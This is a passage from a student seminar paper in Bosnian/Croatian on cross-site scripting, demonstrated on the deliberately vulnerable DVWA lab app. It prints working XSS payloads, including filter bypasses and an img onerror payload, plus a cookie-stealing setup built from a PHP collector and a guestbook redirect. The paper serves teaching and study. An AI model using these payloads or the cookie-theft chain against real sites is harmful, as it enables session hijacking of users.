zaglavlja. Pomou zastavice HTTPonly se definie mogunost pristupa kolaiima odnosno
onemoguava pristup istima npr. Javascriptom.

Postoji jo mogunosti za zatitu od XSS napada, ovdje su spomenuti samo neki od njih.

20
6.PRAKTINI DIO

U okviru praktine realizacije ovog seminarskog rada koritena je OWASP-ova aplikacija


DVWA(Damn Vulnerable Web App). DVWA je PHP/MySQL web aplikacija koja ima
ranjivosti u ovisnosti od nivoa sigurnosti koji podesimo. To je aplikacija koja slui za
testiranje sigurnosnih metoda i alata u legalnom okruenju. Slui developerima da bolje
shvate procese sigurnosti web aplikacija. Isto tako, ova aplikacija je namijenjena studentima i
profesorima za realizaciju razliitih aktivnosti na podruju sigurnosti web aplikacija.

DVWA je preuzeta sa

Aplikacija nudi mogunosti testiranja na razliite napade : Brute Force,CSRF, SQL Injection,
Command Injection itd. Pored ostalih postoji mogunost testiranja na XSS napad i to sva 3
tipa XSS napada: DOM,perzistentni i neperzistentni.

SLIKA 7: Izgled aplikacije

21
Aplikacija nudi mogunost podeavanja nivoa sigurnosti. Postoje 4 nivoa:

Low- gdje postoji apsolutna ranjivost odnosno gotovo da nema mehanizma zatite. Na ovom
nivou se moe vidjeti primjer kako ne treba formirati aplikaciju.

Medium-postoji neki nivo zatite ali nedovoljan odnosno aplikacija ima neke sigurnosne
mehanizme koji nisu adekvatni te se relativno lako mogu eksploatisati.

Hard-na ovom nivou postoje mehanizmi zatite koji su neto napredniji.

Impossible-Ovo je nivo koji bi trebao osigurati da aplikacija nema ranjivosti.

SLIKA 8: Nivoi sigurnosti

22
6.1. Perzistentni XSS

Ako se na low razini umetne sljedei kod u message box:

<script>alert('XSS napad')</script>

SLIKA 9: Perzistentni(low) napad

SLIKA 10: Perzistentni(low) napad

23
Skripta e se izvriti i otvoriti e se alert box svakom ko posjeti ovu stranicu. Skripta se
izvrila jer ne postoji nikakav metod zatite. Ono to korisnik unese bit e ispisano na stranici
odnosno input korisnika=output stranice. Na sljedeoj slici je prikazan kod ove stranice i ovo
je jedan primjer loeg naina pisanja koda.

SLIKA 11: Perzistentni(low) napad

Ako se podesi sigurnost na medium razinu postoji nivo zatite koji onemoguava izvravanje
skripte u message box ali ne postoji isto za name box. Na sljedeoj slici vidimo da prethodno
pokuani napad nee uspjeti na ovoj razini .

SLIKA 12: Perzistentni(medium) napad

24
SLIKA 13: Perzistentni(medium) napad

Na ovoj slici vidimo da funkcija htmlspecialchairs() u message box-u onemoguava


izvravanje koda i isto tako vidimo da u name box nije mogue unijeti <script>.

Moemo iskoristiti polje za unos Name ako formiramo skriptu na sljedei nain:

<sCrIpT>alert('napad')</sCrIpT>

Koristei mala i velika slova se moe izbjei ovaj metod filtriranja korisnikog unosa te kao
to je prikazano na sljedecoj slici izvriti napad.

SLIKA 14: Perzistentni(medium) napad

25
Jo jedan nain napada na medium levelu je prikazan na sljedeoj slici.

SLIKA 15: Perzistentni(medium) napad

Ako se postavi zatita na high i pokuaju se prethodno navedene metode eksploatacije XSS
ranjivosti moe se vidjeti da nee biti uspjene odnosno da aplikacija ima mehanizme kojima
se titi od prethodno navedenih metoda.

SLIKA 16: Perzistentni(high) napad

26
Ne postoji odgovarajua zatita i mogue je izvriti napad upotrebom HTML tada <img/>.

Ako u polje za Name ubacimo sljedei kod:

<img src=x onError=alert('hax')>

SLIKA 17: Perzistentni(high) napad

SLIKA 18: Perzistentni(high) napad

27
6.2.Neperzistentni XSS

SLIKA 19: Neperzistentni(low) napad

SLIKA 20: Neperzistentni(low) napad

28
SLIKA 21: Neperzistentni(low) napad

Stranica ne filtira korisniki input te ga ispisuje na ekranu. Formirajui kodove kao to je


prikazano na slikama mogu se eksploatisati ovakvi nedostaci.

SLIKA 22: Neperzistentni(medium) napad

Na medium levelu ovakav pokuaj nee dati rezultata iz razloga to stranica ima zatitu kao
to je prikazano na sljedeoj slici.

29
SLIKA 23: Neperzistentni(medium) napad

Ovakav problem napada moe lako premositi upotrebom script taga napisanog u neto
drugaijem obliku.

SLIKA 24: Neperzistentni(medium) napad

30
6.3. DOM bazirani XSS napad

SLIKA 25: DOM XSS napad

SLIKA 26: DOM XSS napad

31
Kod DOM XSS napada problem je u tome kako je stranica interpretirana u kombinaciji sa
korisnikim ulaznim podacima.Napada moe formirati zlonamjerni hiperlink pomou ovih
znaajki i poslati ga rtvi mail-om ili na neki drugi nain te tako uiniti da rtva posjeti neku
njegovu malicioznu stranicu.

Primjer:

<input type=button onclick=window.location.href="http://www.google.com"


value="Natrag">

<script>window.location.href='https://www.google.hr/'</script>

SLIKA 27: DOM XSS napad

Otvaarnjem ovakvog linka rtva e biti preusmjerena na stranicu a ovakav link sadri web
adresu legitimnog web servera pa rtva moe misliti da je rije o legitimnoj poruci.

32
6.4. Kradja kolaia

Bit e prezentirano kako se moe spremiti kolai nekog korisnika kojeg natjeramo da
klikne na neki na link ili slino. Na localhostu su napravljena 2 fajla.

Prvi fajl je PHP fajl:

<?php

$cookie = $_COOKIE['PHPSESSID'];

$file = fopen('cookie.txt','a');

fwrite($file, $cookie . "\n\n")

?>

Pomou ovog koda e se dohvatiti kolai i spremiti u tekstualni file cookie.txt koji je
napravljen i ostavljen prazan.Oba ova fajla su smjetena u folder cookie na localhostu.

Sad koristimo DVWA i postavimo sljedei link u guestbook:

<input type=button onclick=window.location.href="http://localhost/cookie/"


value="KLIKNITE OVDJE!">

Napada je iskoristio XSS ranjivost i ostavio ovakav link u guestbook to e rezultirati


sljedeim izgledom stranice za nekog drugog korisnika.

SLIKA 28: Kradja kolaia

33
Ako taj neki drugi korisnik klikne na dugme bit e preusmjeren na http://localhost/cookie/ i
automatski ce njegov kolai biti zapisan u cookie.txt file i taj kolai se moe iskorisiti za
ulaz na njegov nalog.

SLIKA 29: Kradja kolaia

34
7.ZAKLJUAK

Koritenje Weba openito kao i web aplikacija nosi sa sobom stanovite rizike i opasnosti za
korisnike. Pojavom i popularizacijom skriptnih jezika pogotovo JavaScripta javljaju se razne
mogunosti zlonamjernim korisnicima za realizaciju nekih zlonamjernih radnji. Jedna takva
konkretna realizacija prijetnje sigurnosti web aplikacijama je XSS napad koji predstavlja
jedan od najeih i najopasnijih napada na web aplikacije.

XSS je tehnika napada koja uslovno reeno prisiljava web stranice na prikaz malicioznog
koda, koji se tada izvrava u korisnikovom web browseru. Napad se izvrava na strani klijenta
i ciljana rtva je korisnik aplikacije.

XSS napadi predstavljaju veliki problem. Sa stanovita sigurnosti sami web browseri nisu
sigurni jer oni alju zahtjeve i procesiraju rezultate. To podrazumijeva i interpretaciju raznih
skriptnih jezika kao to je JavaScript koji moe proizvesti ve spomenute probleme u
aplikacijama.Web browser nema sposobnost da uvidi i odlui da li neki dio koda ima neko
maliciozno djelovanje. S druge strane developeri ne razvijaju uvijek sigurne stranice i
aplikacije pa je i to problem sa stanovita sigurnosti koji napadai eksploatiu. Zatita treba
biti i sa strane korisnika web aplikacija i sa strane developera. Korisnici trebaju biti svjesni
opasnosti koje vrebaju na webu a developeri trebaju teiti ka to boljem i sigurnijem dizajnu
web aplikacija. Neki od naina na koji napadai mogu izvriti ovaj napad bilo da je
perzistentni,neperzistentni ili DOM bazirani napad su opisani u praktinom dijelu rada na
temelju DVWA.

35
8.LITERATURA

1. S.Fogie,J.Grossman,R.Hansen,A.Rager,P.Petkov,XSS Attacks:Cross Site Scripting


Exploits and Defense, Syngress Publishing, 2007

2. https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
Posjeeno 21.5.2017.

3. https://c2.etf.unsa.ba/file.php/223/TS_8_Sigurnost_web_aplikacija.pdf
Posjeeno 21.5.2017.

4. http://www.cert.hr/sites/default/files/NCERT-PUBDOC-2011-02-323.pdf
Posjeeno 20.5.2017.

5. http://www.cert.hr/sites/default/files/NCERT-PUBDOC-2011-02-323.pdf
Posjeeno 23.5.2017.

6. https://excess-xss.com/
Posjeeno 19.5.2017.

7. https://www.w3schools.com/
Posjeeno 21.5.2017.

8. https://www.acunetix.com/websitesecurity/xss/
Posjeeno 21.5.2017.

9. https://www.veracode.com/security/xss
Posjeeno 19.5.2017.

10. http://www.dvwa.co.uk/
Posjeeno 25.5.2017.

36
37

You might also like